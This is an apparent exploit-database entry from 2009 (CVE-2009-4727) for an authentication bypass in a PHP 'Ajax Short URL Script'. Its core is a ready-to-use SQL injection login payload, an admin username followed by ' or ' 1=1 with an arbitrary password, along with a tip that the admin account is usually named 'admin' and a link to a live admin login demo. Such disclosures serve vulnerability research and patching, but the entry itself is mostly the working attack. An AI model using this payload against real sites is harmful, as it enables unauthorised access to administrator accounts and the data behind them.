Ajax Short URL Script - Authentication Bypass

Author: Cicklow
type: webapps
platform: php
port: 
date_added: 2009-08-02 
date_updated:  
verified: 1 
codes: OSVDB-56742;CVE-2009-4727 
tags: 
aliases:  
screenshot_url:  
application_url: 

[-] Discovered By: Cicklow
[-] Date: 03.08.2009

Exploit:

username: [real_admin_name] ' or ' 1=1
password: cicklow

note: generally admin name: admin
or any user

Buy Script: http://junglescripts.com/short_urls.php
Admin login Demo: http://href.in/x/login

# milw0rm.com [2009-08-03]